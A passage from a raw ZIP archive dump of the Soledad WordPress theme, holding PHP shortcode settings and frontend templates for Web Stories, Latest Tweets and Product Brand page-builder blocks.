									)
								)['thumbnail'];
								?>
							<?php endif; ?>
						</span>
				<?php endif ?>
                <span class="list-content"><?php echo do_shortcode( $item['list-content'] ); ?></span>
				<?php if ( isset( $item['link'] ) ) : ?>
                    </a>
				<?php endif; ?>
            </li>
		<?php endforeach ?>
    </ul>
<?php
if ( ( $icons_color && ! penci_is_css_encode( $icons_color ) ) || ( $icons_bg_color && ! penci_is_css_encode( $icons_bg_color ) ) ) {
	$css = '#' . esc_attr( $list_id ) . ' .list-icon {';
	$css .= 'color: ' . esc_attr( $icons_color ) . ';';
	$css .= '}';

	if ( $list_style == 'rounded' || $list_style == 'square' ) {
		$css .= '#' . esc_attr( $list_id ) . ' .list-icon {';
		$css .= 'background-color: ' . esc_attr( $icons_bg_color ) . ';';
		$css .= '}';
	}

	wp_add_inline_style( 'penci-woocommerce', $css );

}
?>
<?php

echo ob_get_clean();
PK     N\)If|  |  3  inc/js_composer/shortcodes/web_stories/settings.phpnu [        <?php
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => 'penci_web_stories',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/web_stories/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Web Stories', 'soledad' ),
	'description'   => __( 'Show Google Web Stories', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_ptitle_1',
			'heading'          => esc_html__( 'Web Stories Query', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'        => 'dropdown',
			'heading'     => __( 'Query Type', 'soledad' ),
			'param_name'  => 'query_type',
			'value'       => array(
				esc_html__( 'All Stories', 'soledad' )    => 'all',
				esc_html__( 'Custom Stories', 'soledad' ) => 'custom',
			),
			'save_always' => true,
		),
		array(
			'type'        => 'dropdown',
			'heading'     => __( 'Order By', 'soledad' ),
			'param_name'  => 'orderby',
			'value'       => array(
				''                                            => '',
				esc_html__( 'Date', 'soledad' )               => 'date',
				esc_html__( 'ID', 'soledad' )                 => 'id',
				esc_html__( 'Author', 'soledad' )             => 'author',
				esc_html__( 'Title', 'soledad' )              => 'title',
				esc_html__( 'Last modified date', 'soledad' ) => 'modified',
				esc_html__( 'Random order', 'soledad' )       => 'rand',
			),
			'save_always' => true,
		),
		array(
			'type'        => 'dropdown',
			'heading'     => __( 'Order', 'soledad' ),
			'param_name'  => 'order',
			'value'       => array(
				''                              => '',
				esc_html__( 'DESC', 'soledad' ) => 'desc',
				esc_html__( 'ASC', 'soledad' )  => 'asc',
			),
			'save_always' => true,
		),
		array(
			'type'       => 'textfield',
			'heading'    => __( 'Stories Categories IDs', 'soledad' ),
			'param_name' => 'story_cat',
		),
		array(
			'type'       => 'textfield',
			'heading'    => __( 'Stories Tags IDs', 'soledad' ),
			'param_name' => 'story_tag',
		),
		array(
			'type'       => 'textfield',
			'heading'    => __( 'Stories Posts IDs', 'soledad' ),
			'param_name' => 'story_ids',
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Number of Stories', 'soledad' ),
			'param_name' => 'number',
			'value'      => 12,
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Offset', 'soledad' ),
			'param_name' => 'offset',
		),
		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_ptitle_2',
			'heading'          => esc_html__( 'Layout Settings', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'        => 'dropdown',
			'heading'     => __( 'Layout Type', 'soledad' ),
			'param_name'  => 'layout',
			'value'       => array(
				esc_html__( 'One Row', 'soledad' ) => 'onerow',
				esc_html__( 'Grid', 'soledad' )    => 'grid',
				esc_html__( 'Slider', 'soledad' )  => 'slider',
			),
			'save_always' => true,
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Number of Columns', 'soledad' ),
			'param_name' => 'columns',
			'value'      => 12,
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Custom Item Width', 'soledad' ),
			'param_name' => 'iwidth',
			'value'      => 100,
			'dependency' => array( 'element' => 'layout', 'value' => 'onerow' ),
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Columns Gap (px)', 'soledad' ),
			'param_name' => 'gap',
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Show Story Title', 'soledad' ),
			'param_name'  => 'showtitle',
			'value'       => 'yes',
			'save_always' => true,
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Show Next/Prev Buttons', 'soledad' ),
			'param_name'  => 'nextprev',
			'value'       => 'yes',
			'save_always' => true,
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Show Current Stories Number', 'soledad' ),
			'param_name'  => 'pos',
			'value'       => 'yes',
			'save_always' => true,
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Custom Images Border Radius (px)', 'soledad' ),
			'param_name' => 'iboradius',
			'value'      => '',
		),
		array(
			'type'        => 'dropdown',
			'heading'     => __( 'Ajax Loading Style', 'soledad' ),
			'param_name'  => 'ajax_loading_style',
			'value'       => [
				'Follow Customize' => 'df',
				'Style 1'          => 's9',
				'Style 2'          => 's2',
				'Style 3'          => 's3',
				'Style 4'          => 's4',
				'Style 5'          => 's5',
				'Style 6'          => 's6',
				'Style 7'          => 's1',
			],
			'save_always' => true,
		),

		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_ptitle_3',
			'heading'          => esc_html__( 'Web Stories Style', 'soledad' ),
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => __( 'Stories Borders Color', 'soledad' ),
			'param_name' => 'bd_color',
			'group'      => $group_color,
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => __( 'Stories Seen Borders Color', 'soledad' ),
			'param_name' => 'bd_scolor',
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Stories Border Width (px)', 'soledad' ),
			'param_name' => 'bd_w',
			'group'      => $group_color,
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => __( 'Stories Inner Borders Color', 'soledad' ),
			'param_name' => 'bd_innercolor',
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Stories Inner Border Width (px)', 'soledad' ),
			'param_name' => 'bd_iw',
			'group'      => $group_color,
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => __( 'Stories Title Color', 'soledad' ),
			'param_name' => 'color_title',
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Stories Title Font Size (px)', 'soledad' ),
			'param_name' => 'title_fsize',
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Stories Title Font Size (px)', 'soledad' ),
			'param_name' => 'title_fsize',
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => __( 'Custom Font Family for Story Title', 'soledad' ),
			'param_name' => 'use_ptitle_typo',
			'default'    => 'no',
			'std'        => 'no',
			'group'      => $group_color,
		),
		array(
			'type'       => 'google_fonts',
			'group'      => $group_color,
			'param_name' => 'ptitle_typo',
			'value'      => '',
			'dependency' => array( 'element' => 'use_ptitle_typo', 'value' => 'yes' ),
		),
	), Penci_Vc_Params_Helper::heading_block_params(), Penci_Vc_Params_Helper::params_heading_typo_color(), Penci_Vc_Params_Helper::extra_params() )
) );
PK     N\+]>"  "  3  inc/js_composer/shortcodes/web_stories/frontend.phpnu [        <?php
$atts     = vc_map_get_attributes( $this->getShortcode(), $atts );
$block_id = Penci_Vc_Helper::get_unique_id_block( 'web_stories' );
?>
    <div id="<?php echo esc_attr( $block_id ); ?>">
		<?php
		Penci_Vc_Helper::markup_block_title( $atts );
		if ( function_exists( 'penci_webstories' ) ) {
			penci_webstories( $atts );
		} else {
			echo '<p>Please install the <a target="_blank" href="https://wordpress.org/plugins/web-stories/">Google Web Stories</a> plugin to continue using this widget.</p>';
		}
		?>
    </div>
<?php
$block_id_selector = '#' . $block_id;
$block_id_selector2 = 'body:not(.pcdm-enable) #' . $block_id;
echo '<style>';
if ( $atts['columns'] ) {
	echo $block_id_selector . ' .pc-wstories-wrapper .pc-wstories-list.grid .pc-webstory-item{width:calc(100% / ' . $atts['columns'] . ')}';
	echo $block_id_selector . ' .pc-wstories-wrapper .pc-wstories-list.slider:not(.penci-owl-loaded) .pc-webstory-item{width:calc(100% / ' . $atts['columns'] . ')}';
}
if ( $atts['iboradius'] ) {
	echo $block_id_selector . ' .pc-wstories-wrapper .pc-webstory-thumb-wrapper, '. $block_id_selector .' .pc-wstories-wrapper .pc-webstory-thumb{border-radius:' . $atts['iboradius'] . 'px;}';
}
if ( $atts['iwidth'] ) {
	echo $block_id_selector . ' .pc-wstories-wrapper .pc-wstories-list.one-row .pc-webstory-item{flex: 0 0 ' . $atts['iwidth'] . 'px;width:' . $atts['iwidth'] . 'px;}';
}
if ( $atts['title_fsize'] ) {
	echo $block_id_selector . ' .pc-webstory-item .pc-webstory-item-title h4{font-size:' . $atts['title_fsize'] . 'px}';
}
if ( $atts['responsive_spacing'] ) {
	echo penci_extract_spacing_style( $block_id, $atts['responsive_spacing'] );
}
if ( $atts['use_ptitle_typo'] ) {
	echo Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
		'font_size'  => $atts['title_fsize'],
		'font_style' => $atts['use_ptitle_typo'],
		'template'   => $block_id_selector . '  .pc-webstory-item .pc-webstory-item-title h4{ %s }',
	) );
}
if ( $atts['bd_color'] ) {
	echo $block_id_selector2 . ' .pc-wstories-wrapper .pc-webstory-thumb-wrapper{background-color:' . $atts['bd_color'] . '}';
}
if ( $atts['bd_scolor'] ) {
	echo $block_id_selector2 . ' .pc-wstories-wrapper .pc-webstory-item.seen .pc-webstory-thumb-wrapper{background-color:' . $atts['bd_scolor'] . '}';
}
if ( $atts['bd_w'] ) {
	echo $block_id_selector . ' .pc-wstories-wrapper .pc-webstory-thumb-wrapper{padding:' . $atts['bd_w'] . 'px}';
}
if ( $atts['bd_iw'] ) {
	echo $block_id_selector . ' .pc-wstories-wrapper .pc-webstory-thumb{border-width:' . $atts['bd_iw'] . 'px}';
}
if ( $atts['color_title'] ) {
	echo $block_id_selector2 . ' .pc-webstory-item .pc-webstory-item-title h4{color:' . $atts['color_title'] . '}';
}
if ( $atts['gap'] ) {
	echo $block_id_selector . ' .pc-wstories{--gap:' . $atts['gap'] . 'px}';
}
echo '</style>';

wp_enqueue_script( 'penci_web_stories' );
PK     N\8c    5  inc/js_composer/shortcodes/latest_tweets/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "penci_latest_tweets",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/latest_tweets/frontend.php',
	'weight'        => 775,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Latest Tweets', 'soledad' ),
	'description'   => 'Latest Tweets Block',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'param_name' => 'custom_markup',
			'type'       => 'penci_custom_markup',
			'value'      => '<span style="color: #ff0000;">Note Important:</span> To use this widget you need fill complete your twitter information <a target="_blank" href="' . admin_url( 'options-general.php?page=tdf_settings' ) . '">here</a>',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Layout:', 'soledad' ),
			'param_name' => 'style',
			'value'      => array(
				__( 'Slider', 'soledad' ) => 'slider',
				__( 'List', 'soledad' )   => 'list',
			),
			'std'        => 'slider',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Align This Widget:', 'soledad' ),
			'param_name' => 'pc_aligncenter',
			'value'      => array(
				__( 'Align Center', 'soledad' ) => 'pc_aligncenter',
				__( 'Align Left', 'soledad' )   => 'pc_alignleft',
				__( 'Align Right', 'soledad' )  => 'pc_alignright',
			),
			'std'        => 'pc_aligncenter',
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => esc_html__( 'Hide tweets date?', 'soledad' ),
			'param_name' => 'date',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => esc_html__( 'Disable Auto Play Tweets Slider?', 'soledad' ),
			'param_name' => 'auto',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),

		array(
			'type'       => 'textfield',
			'heading'    => esc_html__( 'Custom Reply text:', 'soledad' ),
			'param_name' => 'reply',
			'std'        => esc_html__( 'Reply', 'soledad' ),
		),
		array(
			'type'       => 'textfield',
			'heading'    => esc_html__( 'Custom Retweet text:', 'soledad' ),
			'param_name' => 'retweet',
			'std'        => esc_html__( 'Retweet', 'soledad' ),
		),
		array(
			'type'       => 'textfield',
			'heading'    => esc_html__( 'Custom Favorite text:', 'soledad' ),
			'param_name' => 'favorite',
			'std'        => esc_html__( 'Favorite', 'soledad' ),
		),
	), Penci_Vc_Params_Helper::heading_block_params(), Penci_Vc_Params_Helper::params_heading_typo_color(), array(
		array(
			'type'             => 'textfield',
			'param_name'       => 'color_Tweets_css',
			'heading'          => esc_html__( 'Tweets colors', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Text color', 'soledad' ),
			'param_name'       => 'tweets_text_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'tweets_text_size',
			'heading'          => __( 'Font size for Text', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
			'group'            => $group_color,
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Date color', 'soledad' ),
			'param_name'       => 'tweets_date_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'tweets_date_size',
			'heading'          => __( 'Font size for Date', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
			'group'            => $group_color,
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Icon and Link color', 'soledad' ),
			'param_name'       => 'tweets_link_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'tweets_link_size',
			'heading'          => __( 'Font size for Link', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
			'group'            => $group_color,
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Dot background color', 'soledad' ),
			'param_name'       => 'tweets_dot_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Dot border and background active color', 'soledad' ),
			'param_name'       => 'tweets_dot_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     N\6    5  inc/js_composer/shortcodes/latest_tweets/frontend.phpnu [        <?php
if ( ! function_exists( 'penci_getTweets' ) ) {
	return;
}
$output = $penci_block_width = $el_class = $css_animation = $css = '';
$date   = $auto = $reply = $retweet = $favorite = $align = $style = $responsive_spacing = '';

$tweets_text_color = $tweets_text_size = $tweets_date_color = $tweets_date_size = '';
$tweets_link_color = $tweets_link_size = $tweets_dot_color = $tweets_dot_hcolor = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$tweets = penci_getTweets( 5 );
if ( empty( $tweets ) ) {
	return;
}

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci-latest-tweets-widget';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id  = Penci_Vc_Helper::get_unique_id_block( 'latest_tweets' );
$classes   = 'slider' == $style ? 'swiper penci-owl-carousel penci-owl-carousel-slider penci-tweets-slider' : 'penci-tweets-lists';
?>
    <div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
        <div class="penci-block_content">
			<?php
			if ( isset( $tweets['error'] ) ) {
				echo 'Missing Twitter API Keys - please connect your Twitter Account by go to admin > Soledad > Connect Twitter';
			} else {
				$rtl_align = is_rtl() ? 'pc_alignright' : 'pc_alignleft';
				$align     = $style == 'slider' ? $align : $rtl_align;
				?>
                <div class="penci-tweets-widget-content <?php echo $align; ?>">
					<?php if ( $style == 'slider' ): ?>
                        <span class="icon-tweets"><?php penci_fawesome_icon( 'penciicon-x-twitter' ); ?></span>
					<?php endif; ?>
                    <div class="<?php echo esc_attr( $classes ); ?>" data-dots="true"
                         data-nav="false" data-auto="<?php if ( 'yes' == $auto ) {
						echo 'false';
					} else {
						echo 'true';
					} ?>">
						<?php 
						$item_class = 'normal-item';
						if ( 'slider' == $style ) {
							echo '<div class="swiper-wrapper">';
							$item_class = 'swiper-slide';
						}
						foreach ( $tweets as $tweet ):
							$date_array = explode( ' ', $tweet['created_at'] );
							$tweet_id = $tweet['id_str'];
							$tweet_text = $tweet['text'];
							$urls = $tweet['entities']['urls'];

							if ( isset( $urls ) ) {
								foreach ( $urls as $ul ) {
									$url = $ul['url'];
									if ( isset( $url ) ):
										$tweet_text = str_replace( $url, '<a href="' . $url . '" target="_blank">' . $url . '</a>', $tweet_text );
									endif;
								}
							}
							?>
                            <div class="penci-tweet <?php echo $item_class;?>">

								<?php if ( $style == 'list' ):
									$reply = '<i class="fa fa-reply" aria-hidden="true"></i>';
									$retweet = '<i class="fa fa-retweet" aria-hidden="true"></i>';
									$favorite = '<i class="fa fa-thumbs-up" aria-hidden="true"></i>';
									?>

                                    <div class="tweet-list-top">

										<?php if ( $date_array[1] && $date_array[2] && $date_array[5] && ! 'yes' == $date ): ?>
                                            <span class="tweet-date"><?php echo $date_array[2] . '-' . $date_array[1] . '-' . $date_array[5]; ?></span>
										<?php endif; ?>

                                    </div>

								<?php endif; ?>

                                <div class="tweet-text">
									<?php echo $tweet_text; ?>
                                </div>
								<?php if ( $style == 'slider' && $date_array[1] && $date_array[2] && $date_array[5] && ! 'yes' == $date ): ?>
                                    <p class="tweet-date"><?php echo $date_array[2] . '-' . $date_array[1] . '-' . $date_array[5]; ?></p>
								<?php endif; ?>
                                <div class="tweet-intents">
                                    <div class="tweet-intents-inner">
                                        <span><a target="_blank" class="reply"
                                                 href="https://x.com/intent/tweet?in_reply_to=<?php echo sanitize_text_field( $tweet_id ); ?>"><?php echo do_shortcode( $reply ); ?></a></span>
                                        <span><a target="_blank" class="retweet"
                                                 href="https://x.com/intent/retweet?tweet_id=<?php echo sanitize_text_field( $tweet_id ); ?>"><?php echo do_shortcode( $retweet ); ?></a></span>
                                        <span><a target="_blank" class="favorite"
                                                 href="https://x.com/intent/favorite?tweet_id=<?php echo sanitize_text_field( $tweet_id ); ?>"><?php echo do_shortcode( $favorite ); ?></a></span>
                                    </div>
                                </div>
                            </div>
						<?php endforeach;
						if ( 'slider' == $style ) {
							echo '</div>';
						}
						?>
                    </div>
                </div>

				<?php
			}
			?>
        </div>
    </div>
<?php

$id_latest_tweets = '#' . $block_id;
$id_latest_tweets2 = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom       = Penci_Vc_Helper::get_heading_block_css( $id_latest_tweets, $atts );

if ( $tweets_text_color ) {
	$css_custom .= $id_latest_tweets . ' .tweet-text{ color:' . esc_attr( $tweets_text_color ) . ' }';
}
if ( $tweets_text_size ) {
	$css_custom .= $id_latest_tweets . ' .tweet-text{ font-size:' . esc_attr( $tweets_text_size ) . ' }';
}
if ( $tweets_date_color ) {
	$css_custom .= $id_latest_tweets2 . ' .tweet-date{ color:' . esc_attr( $tweets_date_color ) . ' }';
}
if ( $tweets_text_size ) {
	$css_custom .= $id_latest_tweets . ' .tweet-date{ font-size:' . esc_attr( $tweets_text_size ) . ' }';
}
if ( $tweets_link_color ) {
	$css_custom .= $id_latest_tweets2 . ' .penci-tweets-widget-content .tweet-intents-inner:after,';
	$css_custom .= $id_latest_tweets2 . ' .penci-tweets-widget-content .tweet-intents-inner:before{background-color:' . esc_attr( $tweets_link_color ) . '}';

	$css_custom .= $id_latest_tweets2 . ' .tweet-text a,';
	$css_custom .= $id_latest_tweets2 . ' .penci-tweets-widget-content .icon-tweets,';
	$css_custom .= $id_latest_tweets2 . ' .penci-tweets-widget-content .tweet-intents span:after,';
	$css_custom .= $id_latest_tweets2 . ' .penci-tweets-widget-content .tweet-intents a{ color:' . esc_attr( $tweets_link_color ) . ' }';
}
if ( $tweets_link_size ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_latest_tweets . ' .penci-tweets-widget-content .tweet-intents a{ font-size:{{VALUE}}px }', $tweets_text_size );
}
if ( $tweets_dot_color ) {
	$css_custom .= $id_latest_tweets2 . ' .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot span{ border-color:' . esc_attr( $tweets_dot_color ) . ';background-color:' . esc_attr( $tweets_dot_color ) . ' }';
}
if ( $tweets_dot_hcolor ) {
	$css_custom .= $id_latest_tweets2 . ' .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot:hover span,';
	$css_custom .= $id_latest_tweets2 . ' .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot.active span{ border-color:' . esc_attr( $tweets_dot_hcolor ) . ';background-color:' . esc_attr( $tweets_dot_hcolor ) . '}';
}
if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_latest_tweets, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\L"A  A  5  inc/js_composer/shortcodes/product_brand/settings.phpnu [        <?php
$group_color = 'Typo & Color';
vc_map( array(
	'base'          => 'penci_product_brand',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name('Soledad'),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/product_brand/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name('Penci').' '.esc_html__( 'Product Brand', 'soledad' ),
	'description'   => __( 'Show the product brand list', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge(
		array(
			array(
				'type'             => 'textfield',
				'heading'          => __( 'Number', 'soledad' ),
				'value'            => '',
				'param_name'       => 'number',
				'edit_field_class' => 'vc_col-sm-4',
			),
			array(
				'type'             => 'dropdown',
				'heading'          => __( 'Order by', 'soledad' ),
				'param_name'       => 'orderby',
				'edit_field_class' => 'vc_col-sm-4',
				'value'            => array(
					''                                      => '',
					esc_html__( 'Name', 'soledad' )         => 'name',
					esc_html__( 'ID', 'soledad' )           => 'term_id',
					esc_html__( 'Slug', 'soledad' )         => 'slug',
					esc_html__( 'Random order', 'soledad' ) => 'random',
				),
			),
			array(
				'type'             => 'dropdown',
				'heading'          => __( 'Sort order', 'soledad' ),
				'param_name'       => 'order',
				'edit_field_class' => 'vc_col-sm-4',
				'value'            => array(
					esc_html__( 'Inherit', 'soledad' )    => '',
					esc_html__( 'Descending', 'soledad' ) => 'DESC',
					esc_html__( 'Ascending', 'soledad' )  => 'ASC',
				),
			),
			array(
				'type'             => 'penci_switch',
				'heading'          => __( 'Hide Empty', 'soledad' ),
				'param_name'       => 'hide_empty',
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
				'edit_field_class' => 'vc_col-sm-4',
			),
			array(
				'type'             => 'autocomplete',
				'heading'          => __( 'Brand', 'soledad' ),
				'param_name'       => 'ids',
				'edit_field_class' => 'vc_col-sm-4',
			),
		),
		array(
			array(
				'type'             => 'dropdown',
				'heading'          => __( 'Brand images hover', 'soledad' ),
				'param_name'       => 'hover',
				'edit_field_class' => 'vc_col-sm-4',
				'value'            => array(
					esc_html__( 'Default', 'soledad' )   => 'default',
					esc_html__( 'Simple', 'soledad' )    => 'simple',
					esc_html__( 'Alternate', 'soledad' ) => 'alt',
				),
			),
			array(
				'type'             => 'dropdown',
				'heading'          => __( 'Style', 'soledad' ),
				'param_name'       => 'style',
				'edit_field_class' => 'vc_col-sm-4',
				'value'            => array(
					esc_html__( 'Default', 'soledad' )  => 'default',
					esc_html__( 'Bordered', 'soledad' ) => 'bordered',
				),
			),
			array(
				'type'             => 'dropdown',
				'heading'          => __( 'Layout', 'soledad' ),
				'param_name'       => 'layout',
				'edit_field_class' => 'vc_col-sm-4',
				'value'            => array(
					esc_html__( 'Carousel', 'soledad' )   => 'carousel',
					esc_html__( 'Grid', 'soledad' )       => 'grid',
					esc_html__( 'Links List', 'soledad' ) => 'list',
				),
			),
			array(
				'type'             => 'dropdown',
				'heading'          => __( 'Columns', 'soledad' ),
				'param_name'       => 'columns',
				'edit_field_class' => 'vc_col-sm-4',
				'value'            => array(
					esc_html__( '2 Columns', 'soledad' ) => 2,
					esc_html__( '3 Columns', 'soledad' ) => 3,
					esc_html__( '4 Columns', 'soledad' ) => 4,
					esc_html__( '5 Columns', 'soledad' ) => 5,
					esc_html__( '6 Columns', 'soledad' ) => 6,
				),
				'dependency'       => array( 'element' => 'style', 'value' => array( 'grid', 'list' ) ),
			),
		),
		array(
			array(
				'type'             => 'dropdown',
				'heading'          => __( 'Slides per view', 'soledad' ),
				'param_name'       => 'slides_per_view',
				'edit_field_class' => 'vc_col-sm-4',
				'value'            => array(
					esc_html__( '2 Columns', 'soledad' ) => 2,
					esc_html__( '3 Columns', 'soledad' ) => 3,
					esc_html__( '4 Columns', 'soledad' ) => 4,
					esc_html__( '5 Columns', 'soledad' ) => 5,
					esc_html__( '6 Columns', 'soledad' ) => 6,
				),
				'dependency'       => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
			),
			array(
				'type'             => 'penci_switch',
				'heading'          => __( 'Hide pagination control', 'soledad' ),
				'param_name'       => 'hide_pagination_control',
				'edit_field_class' => 'vc_col-sm-4',
				'default'          => 'no',
				'dependency'       => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
			),
			array(
				'type'             => 'penci_switch',
				'heading'          => __( 'Hide prev/next buttons', 'soledad' ),
				'param_name'       => 'hide_prev_next_buttons',
				'edit_field_class' => 'vc_col-sm-4',
				'default'          => 'no',
				'dependency'       => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
			),
			array(
				'type'             => 'penci_switch',
				'heading'          => __( 'Slider loop', 'soledad' ),
				'param_name'       => 'wrap',
				'edit_field_class' => 'vc_col-sm-4',
				'dependency'       => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
			),
			array(
				'type'             => 'penci_switch',
				'heading'          => __( 'Slider autoplay', 'soledad' ),
				'param_name'       => 'autoplay',
				'edit_field_class' => 'vc_col-sm-4',
				'dependency'       => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
			),
			array(
				'type'             => 'textfield',
				'heading'          => __( 'Slider speed', 'soledad' ),
				'param_name'       => 'speed',
				'edit_field_class' => 'vc_col-sm-4',
				'dependency'       => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
			),
			array(
				'type'             => 'textfield',
				'heading'          => __( 'Init carousel on scroll', 'soledad' ),
				'param_name'       => 'scroll_carousel_init',
				'edit_field_class' => 'vc_col-sm-4',
				'dependency'       => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
			),
		),
		Penci_Vc_Params_Helper::heading_block_params(),
		Penci_Vc_Params_Helper::params_heading_typo_color(),
		Penci_Vc_Params_Helper::extra_params()
	)
) );
PK     N\ko    5  inc/js_composer/shortcodes/product_brand/frontend.phpnu [        <?php
$settings         = vc_map_get_attributes( $this->getShortcode(), $atts );
$default_settings = [
	'number'               => 20,
	'hover'                => 'default',
	'target'               => '_self',
	'link'                 => '',
	'ids'                  => '',
	'style'                => 'carousel',
	'brand_style'          => 'default',
	'slides_per_view'      => 3,
	'columns'              => 3,
	'orderby'              => '',
	'hide_empty'           => 0,
	'order'                => 'ASC',
	'scroll_carousel_init' => 'no',
	'custom_sizes'         => apply_filters( 'penci_brands_shortcode_custom_sizes', false ),
];

$atts['hide_empty']              = 'yes' == $atts['hide_empty'];
$atts['hide_pagination_control'] = 'yes' == $atts['hide_pagination_control'];
$atts['hide_prev_next_buttons']  = 'yes' == $atts['hide_prev_next_buttons'];
$atts['wrap']                    = 'yes' == $atts['wrap'];
$atts['autoplay']                = 'yes' == $atts['autoplay'];

$settings = wp_parse_args( $atts, $settings );

$carousel_id = 'brands_' . rand( 1000, 9999 );

$attribute = get_theme_mod( 'penci_woocommerce_brand_attr' );

if ( empty( $attribute ) || ! taxonomy_exists( $attribute ) ) {
